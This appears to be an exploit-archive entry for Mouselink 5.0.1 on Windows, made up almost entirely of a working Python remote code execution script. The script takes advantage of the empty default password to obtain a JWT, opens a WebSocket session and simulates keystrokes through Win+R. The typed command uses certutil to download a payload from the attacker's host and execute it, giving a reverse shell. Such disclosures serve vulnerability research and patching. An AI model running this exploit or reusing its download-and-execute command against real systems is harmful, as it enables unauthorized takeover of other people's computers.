📄 Mouselink 5.0.1 Remote Code Execution

# Exploit Title: Mouselink 5.0.1 - Remote Code Execution
    # Date: 25/06/25
    # Exploit Author: Chokri Hammedi
    # Vendor Homepage: https://mouselink.app/
    # Software Link: https://blob.mouselink.app/mouselink-win-Setup.exe
    # Version: 5.0.1
    # Tested on: Windows 10
    
    '''
    Description:
    
    Mouselink 5.0.1 allows unauthenticated remote attackers to execute
    arbitrary commands by abusing an exposed login endpoint and insecure
    WebSocket-based keyboard simulation. With no password per default, an
    attacker can obtain a JWT token, open a WebSocket session, and simulate
    keystrokes to run code on the target. and reverse shell delivery.
    
    '''
    
    #!/usr/bin/env python3
    
    import requests
    import json
    import base64
    import secrets
    import socket
    import time
    import struct
    from urllib.parse import quote
    
    SERVER_IP = "192.168.8.105"
    SERVER_PORT = 11521
    BASE_URL = f"http://{SERVER_IP}:{SERVER_PORT}"
    lhost = "192.168.8.100"
    payload = "shell.exe"
    
    def get_device_info():
        try:
            requests.get(f"{BASE_URL}/api/device/info", params={"ip":
    "b088f72a.mouselink.local."}, headers={"User-Agent": "Dart/3.5 (dart:io)",
    "Accept-Encoding": "gzip", "Host": "b088f72a.mouselink.local.:11521"},
    timeout=2)
        except: pass
        try:
            requests.get(f"{BASE_URL}/api/device/info", params={"ip":
    SERVER_IP}, headers={"User-Agent": "Dart/3.5 (dart:io)", "Accept-Encoding":
    "gzip", "Host": f"{SERVER_IP}:{SERVER_PORT}"}, timeout=2)
        except: pass
    
    def login_and_get_token():
        print("[*] Logging in to get JWT token...")
        response = requests.get(
            f"{BASE_URL}/api/login",
            params={"username": "blue0x1", "password": ""},
            headers={
                "User-Agent": "Dart/3.5 (dart:io)",
                "Accept-Encoding": "gzip",
                "Host": f"{SERVER_IP}:{SERVER_PORT}"
            },
            timeout=5
        )
    
        if response.status_code != 200:
            print(f"[-] Login failed with status: {response.status_code}")
            return None
    
        data = response.json()
        if not data.get("success"):
            print("[-] Login failed: Invalid credentials")
            return None
    
        token = data["data"]["key"]
        print(f"[+] Obtained JWT token: {token[:50]}...")
        return token
    
    def negotiate_websocket(token):
        if not token: return None
        print("[*] Negotiating WebSocket connection...")
        response = requests.post(
            f"{BASE_URL}/mainhub/negotiate",
            params={"access_token": token, "negotiateVersion": "1"},
            headers={
                "User-Agent": "Dart/3.5 (dart:io)",
                "Content-Type": "text/plain;charset=UTF-8",
                "X-Requested-With": "FlutterHttpClient",
                "Accept-Encoding": "gzip",
                "Host": f"{SERVER_IP}:{SERVER_PORT}"
            },
            timeout=5
        )
    
        if response.status_code != 200:
            print(f"[-] Negotiation failed with status: {response.status_code}")
            return None
    
        return response.json()["connectionToken"]
    
    def create_websocket_frame(payload):
        payload_bytes = payload.encode('utf-8')
        payload_len = len(payload_bytes)
        header = bytearray([0b10000001])
        if payload_len < 126:
            header.append(0b10000000 | payload_len)
        elif payload_len < 65536:
            header.append(0b10000000 | 126)
            header.extend(struct.pack('>H', payload_len))
        else:
            header.append(0b10000000 | 127)
            header.extend(struct.pack('>Q', payload_len))
        mask_key = secrets.token_bytes(4)
        header.extend(mask_key)
        masked_payload = bytearray(payload_bytes)
        for i in range(payload_len): masked_payload[i] ^= mask_key[i % 4]
        return header + masked_payload
    
    def raw_websocket_handshake(token, connection_token):
        if not token or not connection_token: return None
        print("[*] Establishing WebSocket connection...")
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((SERVER_IP, SERVER_PORT))
        key = base64.b64encode(secrets.token_bytes(16)).decode()
        request = f"GET
    /mainhub?access_token={quote(token)}&id={connection_token}
    HTTP/1.1\r\nHost: {SERVER_IP}:{SERVER_PORT}\r\nUser-Agent: Dart/3.5
    (dart:io)\r\nConnection: Upgrade\r\nCache-Control:
    no-cache\r\nAccept-Encoding: gzip\r\nSec-WebSocket-Version:
    13\r\nSec-WebSocket-Key: {key}\r\nSec-WebSocket-Extensions:
    permessage-deflate; client_max_window_bits\r\nUpgrade: websocket\r\n\r\n"
        sock.send(request.encode())
        response = b""
        while b"\r\n\r\n" not in response: response += sock.recv(1024)
        if b"HTTP/1.1 101 Switching Protocols" not in response:
            print("[-] WebSocket upgrade failed")
            sock.close()
            return None
        print("[+] WebSocket connection established")
        return sock
    
    def send_websocket_messages(sock):
        if not sock: return
    
        print("[*] Sending protocol handshake...")
        sock.send(create_websocket_frame('{"protocol":"json","version":1}\x1e'))
        time.sleep(0.5)
    
        print("[*] Sending Win+R shortcut...")
        win_r =
    json.dumps({"type":1,"headers":{},"invocationId":"1","target":"KeyboardShortcut","arguments":[[91,82]],"streamIds":[]})
    + '\x1e'
        sock.send(create_websocket_frame(win_r))
        time.sleep(1)
    
        cmd = f"cmd /c certutil -urlcache -split -f http://{lhost}/{payload}
    C:\\Windows\\Temp\\payload.exe & C:\\Windows\\Temp\\payload.exe"
        print(f"[*] Sending payload command: {cmd[:50]}...")
        cmd_input =
    json.dumps({"type":1,"headers":{},"invocationId":"0","target":"KeyboardTextInput","arguments":[cmd],"streamIds":[]})
    + '\x1e'
        sock.send(create_websocket_frame(cmd_input))
        time.sleep(1)
    
        print("[*] Sending Enter key...")
        enter_key =
    json.dumps({"type":1,"headers":{},"invocationId":"2","target":"KeyboardClick","arguments":[0,13],"streamIds":[]})
    + '\x1e'
        sock.send(create_websocket_frame(enter_key))
        time.sleep(0.5)
    
        sock.close()
        print("[+] Commands sent successfully!")
    
    if __name__ == "__main__":
        print("[*] Starting Attack...")
        get_device_info()
    
        jwt_token = login_and_get_token()
        if not jwt_token:
            print("[-] Attack aborted: Failed to obtain JWT token")
            exit(1)
    
        connection_token = negotiate_websocket(jwt_token)
        if not connection_token:
            print("[-] Attack aborted: Failed to obtain connection token")
            exit(1)
    
        sock = raw_websocket_handshake(jwt_token, connection_token)
        if not sock:
            print("[-] Attack aborted: WebSocket connection failed")
            exit(1)
    
        send_websocket_messages(sock)
        print("[+] Attack completed! Check your listener for connection")